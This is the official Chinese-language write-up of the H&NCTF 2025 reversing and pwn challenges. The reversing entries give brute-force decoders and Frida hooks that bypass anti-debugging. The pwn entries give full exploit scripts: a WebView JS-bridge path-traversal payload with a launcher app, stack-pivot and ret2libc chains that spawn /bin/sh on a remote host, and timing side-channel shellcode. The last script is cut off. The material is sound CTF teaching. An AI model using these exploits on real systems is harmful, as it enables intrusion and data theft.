H&NCTF2025 官方 WriteUp
Reverse
C3
https://github.com/goudunz1/HNCTF-C3
F**K
简单的爆破题
简单的分析流程可得
输入 flag -> base64 -> 分组 md5 -> 密文
base64通过随机数实现了变表
既然如此,我们可以通过可知包裹字符串得到随机数以及变的表
import base64
import hashlib
target = 'H&N'
cipher = [0x8E, 0x68, 0x1B, 0xB4, 0x4A, 0xFA, 0x6C, 0x03, 0xC8, 0x84, 0x46, 0x7B, 0x46, 0x9B, 0xE7, 0xBF]
def custom_base64_encode(input_str, custom_alphabet):
standard_encoded = base64.b64encode(input_str.encode('utf-8')).decode('utf-8')
standard_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
translation_table = str.maketrans(standard_alphabet, custom_alphabet)
custom_encoded = standard_encoded.translate(translation_table)
return custom_encoded
def md5_list(input_str):
return list(hashlib.md5(input_str.encode()).digest())
for num in range(0, 64):
original = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
swapped = list(original)
for i in range(59):
j = i + num
if j < len(swapped):
swapped[i], swapped[j] = swapped[j], swapped[i]
custom_alphabet = ''.join(swapped)
encoded = custom_base64_encode(target, custom_alphabet)
md5_result = md5_list(encoded)
if len(md5_result) >= 16 and all(
cipher[j] == ((md5_result[j] ^ (j + 6)) * 7 + (j % 15) * 52) % 256
for j in range(16)
):
print(f"num:{num}")
print(f"找到的编码表: {custom_alphabet}")
print(f"编码结果: {encoded}")
break
else:
print("未找到匹配的编码表")
随即可以直接爆破出 Base64 的密文,并进行解密
import hashlib
cipher = [0x8E, 0x68, 0x1B, 0xB4, 0x4A, 0xFA, 0x6C, 0x03, 0xC8, 0x84, 0x46, 0x7B, 0x46, 0x9B, 0xE7, 0xBF, 0xE7, 0xF1,
0x32, 0xB5, 0xDF, 0x39, 0x16, 0xFE, 0x3B, 0x8D, 0x90, 0x20, 0x88, 0xD6, 0xBC, 0x04, 0x0D, 0x50, 0x01, 0x69,
0x9D, 0xE9, 0xEB, 0xEE, 0xEA, 0x63, 0xFE, 0x18, 0x9D, 0x75, 0x01, 0x4C, 0x59, 0xB1, 0xFF, 0x93, 0x63, 0xD8,
0xCE, 0x60, 0xFD, 0x21, 0x1E, 0x4A, 0x50, 0x25, 0xF5, 0xF8, 0x96, 0x8C, 0x3A, 0xBF, 0xD1, 0x13, 0x18, 0xBD,
0x93, 0xC1, 0x10, 0x88, 0xEA, 0xD5, 0x0A, 0x7F, 0xD5, 0x4A, 0x12, 0xDE, 0x52, 0xF0, 0xB1, 0x15, 0x89, 0x38,
0xB7, 0x6C, 0xB3, 0x37, 0x4F, 0x8B, 0x79, 0x5D, 0xA8, 0xFA, 0xD7, 0xED, 0x6F, 0x1F, 0xF5, 0xF1, 0xC0, 0x1B,
0x54, 0xBC, 0xF7, 0x74, 0xDB, 0x45, 0x56, 0xCD, 0xC4, 0xE2, 0xA6, 0x93, 0xFB, 0x09, 0x7E, 0xF2, 0x23, 0x5C,
0x91, 0x5F, 0x93, 0x00, 0xE5, 0xF9, 0x27, 0x8A, 0xAD, 0xC1, 0x7E, 0x18, 0xC6, 0x22, 0x4B, 0xD7, 0xA6, 0xCA,
0x2F, 0x10, 0x0A, 0x32, 0x10, 0x5E, 0x59, 0xBE, 0xAE, 0x24, 0x3E, 0x08, 0x2A, 0x4D, 0xD1, 0xF5, 0x6A, 0xFC,
0x5D, 0x84, 0xEA, 0xEB, 0x1B, 0x27, 0x83, 0x52, 0xA0, 0xBB, 0x9D, 0xF4, 0x0A, 0xA9, 0x55, 0x30, 0xF1, 0x70,
0x16, 0x53, 0x77, 0x1B, 0x2C, 0x99, 0x17, 0x9A, 0x70, 0xE2, 0x40, 0x90, 0xC3, 0xB1, 0xEA, 0x92, 0x4B, 0x35,
0x15, 0x14, 0x5A, 0x30, 0xBF, 0x56, 0x30, 0x6C, 0xF0, 0x30, 0x4D, 0x5B, 0x09, 0x7C, 0x74, 0x98, 0x9E, 0x88,
0x72, 0x66, 0x6C, 0x5C, 0x38, 0xA5, 0x76, 0x0B, 0xA8, 0xEE, 0x7B, 0xF1, 0xB3, 0xAD, 0x58, 0x2D, 0xBF, 0xA7,
0x33, 0x11, 0x83, 0x46, 0x7F, 0x1D, 0x1C, 0x9D, 0x86, 0x1A, 0xC6, 0xD6, 0xB2, 0x99, 0xCC, 0xC7, 0x82, 0xAB,
0xED, 0x3A, 0x6B, 0x12, 0xA6, 0xF8, 0xBF, 0x1C, 0x3B, 0xEB, 0xDA, 0xE0, 0x61, 0x08, 0x15, 0x01, 0x8B, 0x24,
0x43, 0xCA, 0x15, 0x4B, 0x1D, 0x91, 0x88, 0xBC, 0x5F, 0x92, 0x61, 0x37, 0x0A, 0xA2, 0xD3, 0x30, 0x96, 0x51,
0xAA, 0xA5, 0xD9, 0x50, 0x5B, 0x82, 0x3A, 0xAA, 0x1F, 0x77, 0xFF, 0x9C, 0xA6, 0x4F, 0x23, 0x28, 0xE7, 0x80,
0x08, 0x8B, 0xE5, 0xCE, 0x1D, 0xFC, 0x0B, 0x68, 0x66, 0xBC, 0x5F, 0xFA, 0x44, 0xC2, 0x5F, 0x0F, 0x0C, 0x86,
0x14, 0x62, 0xD2, 0xF4, 0xA2, 0xE8, 0xCC, 0x9B, 0x27, 0x48, 0x28, 0xAE, 0x5B, 0x76, 0xE8, 0xBC, 0xE0, 0x3D,
0x8B, 0x84, 0x4C, 0x29, 0xC8, 0x92, 0x7F, 0xDC, 0x1E, 0xA6, 0x80, 0xFF, 0x78, 0x3F, 0xE1, 0x39, 0x4B, 0xD0,
0xCC, 0xE0, 0x13, 0xF7, 0x36, 0x7C, 0xDD, 0x5C, 0x96, 0x02, 0xDC, 0xF9, 0xE9, 0xDD, 0x18, 0x87, 0xE9, 0xAC,
0x43, 0x26, 0xB3, 0xDF, 0x68, 0xC2, 0xFE, 0x30, 0x10, 0xB0, 0x66, 0xDD, 0x04, 0x6A, 0xFF, 0xD2, 0xFA, 0xE1,
0x86, 0xEF, 0xA1, 0x04, 0xBC, 0xAD, 0xD1, 0xCE, 0x58, 0xA8, 0x5D, 0x9D, 0x37, 0x51, 0x7F, 0xCF, 0xF1, 0x02,
0xBB, 0x4B, 0xB4, 0x16, 0x1B, 0xBF, 0xE3, 0x71, 0x05, 0xD4, 0x1B, 0x58, 0x32, 0xE8, 0x59, 0x2C, 0xCE, 0xE3,
0xD4, 0x0B, 0x9E, 0x02, 0xF4, 0xA1, 0x34, 0x3E, 0xF2, 0x8F, 0xA3, 0x9F, 0x7F, 0x24, 0x34, 0x6E, 0x29, 0x24,
0x6B, 0xFE, 0x8A, 0xB3, 0xE2, 0x6C, 0x37, 0xE4, 0xEA, 0x79, 0x44, 0xF9, 0xA5, 0x28, 0x5D, 0xCE, 0xAE, 0x79,
0x23, 0x86, 0x2F, 0x9A, 0x00, 0x45, 0x6E, 0x9F, 0x87, 0x11, 0xD1, 0x0F, 0xE6, 0x74, 0xBD, 0x7B, 0xE5, 0x81,
0x26, 0x81, 0xED, 0xD2, 0x2A, 0x23, 0xE7, 0x6F, 0x7D, 0x40, 0xD6, 0x08, 0xEA, 0x78, 0x12, 0x78, 0xB8, 0x4F,
0x85, 0xE9, 0x6C, 0x8B, 0x6D, 0xE7, 0x8C, 0x14, 0x21, 0x8A, 0x92, 0x3F, 0xBA, 0x2D, 0x79, 0x68, 0xBE, 0xA2,
0x09, 0x92, 0xD5, 0xB3, 0xFE, 0x7C, 0x4E, 0x52, 0x17, 0xE2, 0xAA, 0xEA, 0xEC, 0xBD, 0x02, 0x1D, 0x1C, 0x80,
0xAA, 0xF3, 0x33, 0xBB, 0x65, 0xCB, 0xE5, 0x1D, 0x96, 0x44, 0x8F, 0x4E, 0x11, 0x69, 0x6D, 0xA5, 0x70, 0x98,
0x4D, 0xBC, 0xD5, 0x7C, 0xBF, 0x2C, 0x56, 0x13, 0x1F, 0xF4, 0x36, 0xB4, 0x64, 0xFF, 0x52, 0x05, 0x44, 0x02,
0x3E, 0x15, 0xA0, 0x09, 0x69, 0x12, 0xD1, 0x51, 0xFF, 0x8A, 0x5A, 0x5B, 0xD0, 0x69, 0x4B, 0x07, 0x67, 0x8A,
0xE7, 0x8F, 0x16, 0xA6, 0x40, 0x15, 0x60, 0xE3, 0xDC, 0x62, 0x84, 0x11, 0x08, 0x51, 0x41, 0xB4, 0x7A, 0xBA,
0x5A, 0x47, 0x34, 0x29, 0xE7, 0x76, 0xB1, 0xDA, 0xE3, 0xA8, 0x29, 0xB6, 0x79, 0xDA, 0xA5, 0xE2, 0x24, 0x41,
0x13, 0x22, 0x46, 0x67, 0xCB, 0x8D, 0xF6, 0x84, 0xEC, 0x0E, 0xA8, 0xDE, 0x0E, 0x01, 0xAA, 0xBF, 0xBC, 0x3A,
0xD0, 0x0F, 0x8E, 0x65, 0x84, 0x52, 0xBF, 0x43]
md5_list = lambda input_str: list(hashlib.md5(input_str.encode()).digest())
cip = [cipher[16 * i: 16 * (i + 1)] for i in range(41)]
data1 = 'Y'
data2 = 'I'
data3 = 'f'
print("YIf", end='')
for i in range(41):
for x in range(32, 128):
input_str = data1 + data2 + data3 + chr(x)
md5_lis = md5_list(input_str)
if all(cip[i][j] == ((md5_lis[j] ^ (j + 6)) * 7 + (j % 15) * 52) % 256 for j in range(16)):
print(chr(x), end='')
data1 = data2
data2 = data3
data3 = chr(x)
if data3 == '=':
exit(0)
HNDRIVER
题目提供了个类似 Base64 的东西
R3 调用FilterConnectCommunicationPort
与 R0 通信,传了上下文过去

追一下参数,可以知道向 R0 传了个我们输入的字符串过去

由于是 Minifilter 我们直接找回调

去看注册了那些回调,这里可以结合题目的描述:文件备份(考虑写的前后回调)IRP_MJ_WRITE 0x04

跟进去看看大概逻辑,就是通过后缀判断是否是要备份的文件,如果是的话,进行加密并备份在 C 盘根目录下

现在来看加密部分,实际上就是一个自定义表 Base64

返回值是 NTSTATUS a3 a4写回 分别是编码完的数据和长度 而最后一个参数则是 b64 表


下断FLTMGR!FltWriteFile
往回找,定位到加密函数


下断fffff804\
3e692600`
然后直接从栈里拿表


RealCrackMe
脱壳手法千千万,一把梭哈占一半
开放式题目,无统一题解。
这题其实壳部分不是重点,如果硬要分析的话就是自定义 linker,frida 通过在 maps 中隐藏原有的 libc 映射,然后读取未被 hook 的写入 maps 即可绕过检测。
另外破解的话每个人都有不同的思路,例如把国家集都改成中国,然后更改检查沙特的部分,然后还有修改 settext 骗过判题机器在修改 checkanswer 方法的,思路很多。
justgame
nc 连接
└─# nc 27.25.151.198 49342
please input number/n> 1
> 2
> 3
> 4
> 5
> 6
提示输入 number,尝试输入,无明显回显
丢 ida 分析,符号表去掉了,做初步函数内容分析

最后比较 v11 和 v7,如果一致进入 getflag
函数,读取 flag.txt
v11 由 v4 经过凯撒后得到,动调得到最后比较的内容

acoderjourney
v7 由上述的 while 死循环赋值,尝试分析

其中有一个 if-else
v3=7 时执行 if 的内容(在 v8 即 s2 后面加一个字符串 g)
否则进入 game
函数
game
的内容比较多,这里对比其中提到的操作数,去分析对应的功能
例如

当输入为 7 时,后面加一个 'a'
以此类推,分析不同操作数对应的功能
命令 1:添加指定 ASCII 字符(需要附加参数,且只能使用一次)
- 参数范围:33-126 之间的 ASCII 码
命令 4:在字符串末尾添加字符 'f'
命令 5:将最后一个字符的 ASCII 值减 1
命令 6:将最后一个字符的 ASCII 值加 3
命令 7:在字符串末尾添加字符 'a'
命令 9:在字符串末尾添加字符 'z'
命令 10:在字符串末尾添加字符 'm'
命令 11:将最后一个字符替换为 't'
命令 13:删除最后一个字符
命令 15:在字符串末尾添加字符 'r'
特殊命令:
"011001":查看当前构建的字符串进度
当 moves = 7 时会自动添加字符 'g'
这样就明确许多,尝试玩游戏,拼出字符串 `acoderjourney`
构建 exp,模拟输入
import socket
# 设置远程服务器的地址和端口
HOST = '27.25.151.198'
PORT = 49342
# 创建socket连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 输入列表
inputs = [
"7", "7", "6", "5", # "ac"
"011001", "011001", "011001", "011001",
"6", "6", "6", "5", # "aco"
"7", "6", "7", "6", "6", "5", "5", # "acode"
"15", "10", "5", "5", "5", # "acoderj"
"10", "6", "5", # "acoderjo"
"15", "6", # "acoderjou"
"15", "10", "6", "5", "5", # "acoderjourn"
"7", "6", "6", "5", "5", # "acoderjourne"
"9", "5" # final
]
# 设置非阻塞模式来提高速度
s.setblocking(0)
# 接收数据
def recv_data(timeout=0.1):
import select
data = b""
ready = select.select([s], [], [], timeout)
if ready[0]:
try:
while True:
chunk = s.recv(8192) # 使用更大的缓冲区
if not chunk:
break
data += chunk
# 快速检查是否有更多数据
ready = select.select([s], [], [], 0)
if not ready[0]:
break
except BlockingIOError:
pass
return data.decode('utf-8', errors='ignore')
# 发送输入并立即接收响应
def send_and_recv(input_str, wait_time=0.05):
s.sendall((input_str + "\n").encode())
import time
time.sleep(wait_time) # 非常短的等待以确保数据发送完成
return recv_data()
# 快速模式:一次性发送所有输入
try:
# 获取初始输出
import time
time.sleep(0.1) # 等待初始输出
initial_output = recv_data()
print(initial_output)
# 快速发送所有输入
for val in inputs:
response = send_and_recv(val, 0.02) # 使用很短的等待时间
print(f"发送: {val}")
if response:
print(f"接收: {response}")
# 确保获取最终输出
time.sleep(0.1)
final_output = recv_data(0.5)
print("最终输出:")
print(repr(final_output))
finally:
# 确保关闭连接
s.close()
└─# python exp.py
please input number/n>
发送: 7
接收: >
发送: 7
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 011001
接收: Current: ac
>
发送: 011001
接收: Current: ac
>
发送: 011001
接收: Current: ac
>
发送: 011001
接收: Current: acg
>
发送: 6
接收: >
发送: 6
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 7
接收: >
发送: 6
接收: >
发送: 7
接收: >
发送: 6
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 5
接收: >
发送: 15
接收: >
发送: 10
接收: >
发送: 5
接收: >
发送: 5
接收: >
发送: 5
接收: >
发送: 10
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 15
接收: >
发送: 6
接收: >
发送: 15
接收: >
发送: 10
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 5
接收: >
发送: 7
接收: >
发送: 6
接收: >
发送: 6
接收: >
发送: 5
接收: >
发送: 5
接收: >
发送: 9
接收: >
发送: 5
接收: flag{c117eead-d5de-4827-8f0e-6e83d8457d15}
最终输出:
''
xxxR01d
简单 pthread_create 反调试 +Java 层混淆 +Twofish (在native中给出了解密函数,cause冷门算法)


在 Java 层对 key 进行了修改,我们可以不静态分析直接 hook 这个函数,得到真正的 ret value 作为 key
Java.perform(function () {
console.log("Hooking GRK method...");
let Generate = Java.use("com.aaron.xxxr01d.Generate");
Generate["GRK"].implementation = function (bArr) {
console.log(`start [Method] Generate.GRK is called: bArr=${bArr}`);
let result = this["GRK"](bArr);
console.log(`end [Method] Generate.GRK result=${result}`);
return result;
};
});

We1c0me_2_H&NCTF
在 native 层中的 init_array 段调用 pthread_create 作为检测,frida hook 或者 patch 掉都能绕过检测,此处没有再做验签的工作
静态注册的 check 函数,动态注册了加密和解密函数。预期解就是调用解密函数对校验值进行解密
以下是完整 hook 代码
function hook_android_dlopen_ext() {
Interceptor.attach(Module.findExportByName(null, "android_dlopen_ext"), {
onEnter: function (args) {
this.name = args[0].readCString();
if (this.name.indexOf("libZ1Y4.so") > 0) {
;
console.log(this.name);
var symbols = Process.getModuleByName("linker64").enumerateSymbols();
var callConstructorAdd = null;
for (var index = 0; index < symbols.length; index++) {
const symbol = symbols[index];
if (symbol.name.indexOf("__dl__ZN6soinfo17call_constructorsEv") != -1) {
callConstructorAdd = symbol.address;
}
}
console.log("callConstructorAdd -> " + callConstructorAdd);
var isHook = false;
Interceptor.attach(callConstructorAdd, {
onEnter: function (args) {
if (!isHook) {
//Hook InitArray 中运行的方法在这里
hook_func();
isHook = true;
}
},
onLeave: function () {
}
});
}
}, onLeave: function () {}
});
}
var isFunctionReplaced = false;
function hook_func() {
if (!isFunctionReplaced) {
var secmodule = Process.findModuleByName("libZ1Y4.so");
Interceptor.replace(secmodule.base.add(0x13250), new NativeCallback(function () {
console.warn(`Addr_0x13250 >>>>>>>>>>>>>>>>>> replace void`)
}, 'void', []));
isFunctionReplaced = true; // 设置替换标记为 true
} else {
// console.log("Function already replaced, skipping replacement.");
}
//绕过检测后输出Java Generate Key (不绕过也能输出其实)
Java.perform(function () {
console.log("Hooking GRK method...");
let Generate = Java.use("com.aaron.xxxr01d.Generate");
Generate["GRK"].implementation = function (bArr) {
console.log(`start [Method] Generate.GRK is called: bArr=${bArr}`);
let result = this["GRK"](bArr);
console.log(`end [Method] Generate.GRK result=${result}`);
return result;
};
});
hookEnc();
}
function hookEnc() {
Java.perform(function () {
let NativeLib = Java.use("com.aaron.nativelib.NativeLib");
NativeLib["Tungtungtungsahur"].implementation = function (
bArr,
bArr2,
bArr3
) {
// console.log(
// `NativeLib.Tungtungtungsahur is called: bArr=${bArr}, bArr2=${bArr2}, bArr3=${bArr3}`
// );
let result = this["Tungtungtungsahur"](bArr, bArr2, bArr3);
let bytes = Java.array(
"byte", //ct
[
0x32, 0x05, 0xac, 0xcd, 0x2a, 0x74, 0x71, 0x91, 0x60, 0x10,
0x98, 0x9c, 0x15, 0x28, 0x8d, 0x8e, 0x18, 0xec, 0x2a, 0x88,
0xf1, 0x35, 0x1c, 0x46, 0xd9, 0xe3, 0x8d, 0xff, 0xf2, 0x93,
0x42, 0x6f,
]
);
let result1 = this["Tralalerotralala"](bArr, bArr2, bytes);
// console.log(`NativeLib.Tungtungtungsahur result=${result}`);
console.log(`NativeLib.Tralalerotralala result=${result1}`);
return result;
};
});
}
function main() {
hook_android_dlopen_ext();
}
setImmediate(main);

H&NCTF{Xxx_1s_And_F0r_Android^^}
签到re
都签到了,肯定很简单,gpt 也能一把梭,字符串加密过程就是矩阵变换
代码逻辑很简单,可以理解代码写 flag,也能爆破取 flag
exp1:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/sha.h>
typedef struct {
unsigned char data[2][2];
} Matrix;
// 生成密钥矩阵(需要链接openssl库:-lcrypto)
Matrix generate_key_matrix(const char* key_str) {
unsigned char hash[SHA256_DIGEST_LENGTH];
SHA256((const unsigned char*)key_str, strlen(key_str), hash);
Matrix key = {
.data = {
{hash[0], hash[1]},
{hash[2], hash[3]}
}
};
// 确保行列式模256为奇数
key.data[0][0] |= 0x01; // 强制奇數
key.data[0][1] &= 0xFE; // 强制偶數
key.data[1][0] &= 0xFE;
key.data[1][1] |= 0x01;
return key;
}
// 扩展欧几里得算法求模逆
int mod_inverse(int a, int mod) {
int t, nt, r, nr, q, tmp;
t = 0; nt = 1;
r = mod; nr = a % mod;
while (nr != 0) {
q = r / nr;
tmp = nt; nt = t - q*nt; t = tmp;
tmp = nr; nr = r - q*nr; r = tmp;
}
return (t < 0) ? t + mod : t;
}
// 计算矩阵逆(模256)
Matrix matrix_inverse(Matrix m) {
// 计算行列式
int det = (m.data[0][0]*m.data[1][1] - m.data[0][1]*m.data[1][0]) % 256;
if (det < 0) det += 256;
int det_inv = mod_inverse(det, 256);
Matrix inv = {
.data = {
{ (m.data[1][1] * det_inv) % 256, (256 - m.data[0][1]) * det_inv % 256 },
{ (256 - m.data[1][0]) * det_inv % 256, (m.data[0][0] * det_inv) % 256 }
}
};
return inv;
}
// 矩阵乘法核心运算
void matrix_multiply(Matrix m, const unsigned char in[2], unsigned char out[2]) {
out[0] = (m.data[0][0]*in[0] + m.data[0][1]*in[1]) % 256;
out[1] = (m.data[1][0]*in[0] + m.data[1][1]*in[1]) % 256;
}
// 解密函数(返回解密数据长度)
int decrypt(const unsigned char* cipher, int len, Matrix key, unsigned char** plain) {
if (len < 4 || (len-4) % 4 != 0) return -1;
// 读取原始长度
int orig_len = (cipher[0] << 24) | (cipher[1] << 16) | (cipher[2] << 8) | cipher[3];
// 准备逆矩阵
Matrix inv = matrix_inverse(key);
// 分配内存
int data_len = len - 4;
*plain = malloc(data_len);
if (!*plain) return -1;
// 分块解密
for (int i = 0; i < data_len; i += 4) {
unsigned char in1[2] = {cipher[4+i], cipher[4+i+1]};
unsigned char in2[2] = {cipher[4+i+2], cipher[4+i+3]};
unsigned char out1[2], out2[2];
matrix_multiply(inv, in1, out1);
matrix_multiply(inv, in2, out2);
(*plain)[i] = out1[0];
(*plain)[i+1] = out1[1];
(*plain)[i+2] = out2[0];
(*plain)[i+3] = out2[1];
}
return (orig_len < data_len) ? orig_len : data_len;
}
unsigned char results[] = {0x00,0x00,0x00,0x25,0x0c,0xe2,0x70,0x89,0x98,0xb2,0xbb,0xe4,0x94,0xa0,0x95,0xac,0x38,0x92,0x22,0xf8,0x0e,0x7b,0x76,0x1a,0x66,0xc8,0x03,0x05,0x2e,0x7d,0xa1,0x04,0x3d,0xc0,0x62,0xfe,0x66,0x67,0x02,0x87,0x81,0xf4,0x00,0x00};
int main() {
const char* key = "MySecretKey123!";
// const char* plaintext = "H&NCTF{840584fb08a26f01c471054628e451}";
// 生成密钥矩阵
Matrix key_matrix = generate_key_matrix(key);
// 加密
unsigned char* cipher;
int cipher_len =44;
unsigned char* decrypted;
int decrypted_len = decrypt(results, cipher_len, key_matrix, &decrypted);
printf("解密结果: ");
fwrite(decrypted, 1, decrypted_len, stdout);
printf("\n");
free(cipher);
free(decrypted);
return 0;
}
exp2:爆破法
import hashlib
# 原始密钥
key_str = "MySecretKey123!"
# 计算 sub_11B9 的 key 值
def get_key(s):
sha = hashlib.sha256(s.encode()).digest()
v4 = sha[0]
v5 = sha[1:3]
v6 = sha[3]
v3 = 0
v3 |= (v4 | 1)
v3 |= ((int.from_bytes(v5, 'little') & 0xFEFE) << 8)
v3 |= ((v6 | 1) << 24)
return v3
# sub_13AC
def sub_13AC(key, a2):
b0 = a2[0]
b1 = a2[1]
out0 = b0 * (key & 0xFF) + b1 * ((key >> 8) & 0xFF)
out1 = (b0 * ((key >> 16) & 0xFF) + b1 * ((key >> 24) & 0xFF)) % 256
return bytes([out0 % 256, out1])
# 加密函数 sub_1452 的逆过程(暴力爆破)
def decrypt_block(enc_block, key):
res = b''
for b0 in range(256):
for b1 in range(256):
test = bytes([b0, b1])
if sub_13AC(key, test) == enc_block:
return test
return None
# byte_4080
enc_data = bytes([
0x00, 0x00, 0x00, 0x25, 0x8E, 0x9C, 0x8B, 0xB1, 0xBB, 0xE4,
0x94, 0xA0, 0x95, 0xAC, 0x38, 0x92, 0x22, 0xF8, 0x0E, 0x7B,
0x76, 0x1A, 0x66, 0xC8, 0x03, 0x05, 0x2E, 0x7D, 0xA1, 0x04,
0x3D, 0xC0, 0x62, 0xFE, 0xEE, 0x6B, 0x52, 0x57, 0x02, 0x87,
0x81, 0xF4, 0x00, 0x00
])
key = get_key(key_str)
# 去掉前4字节头(长度)
enc_body = enc_data[4:]
plain = b''
for i in range(0, len(enc_body), 4):
part1 = enc_body[i:i+2]
part2 = enc_body[i+2:i+4]
p1 = decrypt_block(part1, key)
p2 = decrypt_block(part2, key)
if p1 is None or p2 is None:
print(f"[-] Failed to decrypt block {i//4}")
break
plain += p1 + p2
# 去除末尾补0
plain = plain.rstrip(b'\x00')
print("[+] Flag or input is:", plain.decode(errors='ignore'))
Pwn
JustAndroid
Webview 开放的 js 接口执行 + 目录穿越
<!DOCTYPE html>
<html>
<head>
<style>
body { font-family: monospace; }
h1 { font-size: 50px; }
pre { font-size: 40px; white-space: pre-wrap; word-break: break-all; }
</style>
</head>
<body>
<h1>Trying to get FLAG</h1>
<pre id="out"></pre>
<script>
let path = "/data/../data/data/../data/../data/com.swdd.eddddge/files/flag.txt";
// let path = "data/../data/data/com.swdd.eddddge/files/flag.txt";
let result = JBD.Js(path);
document.getElementById("out").innerText = result;
</script>
</body>
</html>
package com.swdd.poc;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
public class MainActivity extends AppCompatActivity {
private static final String TARGET_PACKAGE = "com.swdd.eddddge";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.asd);
exploitVulnerability();
}
private void exploitVulnerability() {
try {
// 构建恶意URL
String maliciousUrl = "https://xxx/exploit.html";
// 创建Intent
Intent intent = new Intent();
intent.setData(Uri.parse(maliciousUrl));
intent.setClassName("com.swdd.eddddge", "com.swdd.eddddge.BrowserActivity");
// 启动目标浏览器
startActivity(intent);
} catch (Exception e) {
}
}
}
Stack Pivoting
栈迁移,可利用 read 多次栈迁移
参考 2024 羊城杯 oneread

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('/home/kali/Desktop/hn2025/pwn1/pwn1' )
libc=ELF('/home/kali/Desktop/hn2025/pwn1/libc.so.6' )
#io=process('/home/kali/Desktop/hn2025/pwn1/pwn1' )
io=remote('27.25.151.198',33585)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi=0x401263
read=0x4011b7
leave=0x4011ce
bss=elf.bss()+0x500
vuln=0x40119f
rbp=0x40125f
ret=0x401261
io.recvuntil(b"can you did ?")
payload=b'a'*0x40+p64(bss+0x40)+p64(read)
io.send(payload)
payload1=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x40)+p64(0)+p64(0)+p64(read)+p64(bss-8)+p64(leave)
io.send(payload1)
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
#gdb.attach(io)
payload3=(p64(rdi)+p64(binsh)+p64(system_addr)).ljust(0x40,b'\x00')+p64(bss+0x300-0x8)+p64(leave)
io.send(payload3)
io.interactive()
pdd助力
两段伪随机加 ret2libc
from pwn import*
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
io=remote('127.0.0.1',36939)
#io=process('/home/kali/Desktop/hn2025/pwn2/pwn2' )
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
lib=ELF('/home/kali/Desktop/hn2025/pwn2/libc.so.6' )
elf=ELF('/home/kali/Desktop/hn2025/pwn2/pwn2' )
rdi=0x401483
ret=0x40101a
func=0x40121f
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc.srand(libc.time(0))
libc.srand(libc.rand()% 5 - 44174237)
io.recvuntil(b"game1 begin\n")
for i in range(55):
io.sendline(str((libc.rand()%4)+1))
sleep(0.5)
io.recv()
io.recvuntil(b"game2 begin\n")
libc.srand(8)
for i in range(55):
io.sendline(str((libc.rand()%4)+8))
pay=b'a'*0x38+p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(func)
io.recvuntil(b"Congratulations young man.\n")
io.send(pay)
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
base=puts_addr-lib.sym['puts']
system = base + lib.sym['system']
binsh = base + next(lib.search(b'/bin/sh\x00'))
pay1=b'a'*0x38+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
io.recvuntil(b"Congratulations young man.\n")
io.send(pay1)
io.interactive()
shellcode
时间侧信道爆破
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
#context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
#exp
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
def exp(dis,char):
p.recvuntil("Enter your command:")
shellcode = asm('''
mov r12,0x000067616c662f2e
push r12
mov rdi,rsp
xor esi,esi
xor edx,edx
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov eax,60
syscall
loop:
jmp loop
'''.format(dis,char))
#pause()
p.send(shellcode)
flag = ""
for i in range(len(flag),len(flag)+5):
for j in range(0x20,0x80):
#p = process('./pwn_challenge')
p = remote('',)
try:
exp(i,j)
p.recvline(timeout=2)
p.send(b'\n')
log.success("{} pos : {} success".format(i,chr(j)))
flag += chr(j)
p.close()
break
except:
p.close()
log.success("flag : {}".format(flag))
三步走战略
沙箱机制、orw、栈溢出跳转
检查文件无保护

IDA 打开,程序正常运行下来此处有一个 getchar()
,输入回车跳过

此处利用 mmap
函数对 buf(0x1337000)处进行权限修改,之后利用 read 进行读入,大小为 0x100 字节,可直接利用 pwntools 直接生成 shellcode,之后利用下一个 read 存在的栈溢出漏洞跳转到此处。

from pwn import*
context(log_level='debug',arch='amd64')
io=process("./orw")
#io=remote()
elf=ELF("./orw")
io.sendafter(b'in advance. ',b'a')
ret=0x1337000
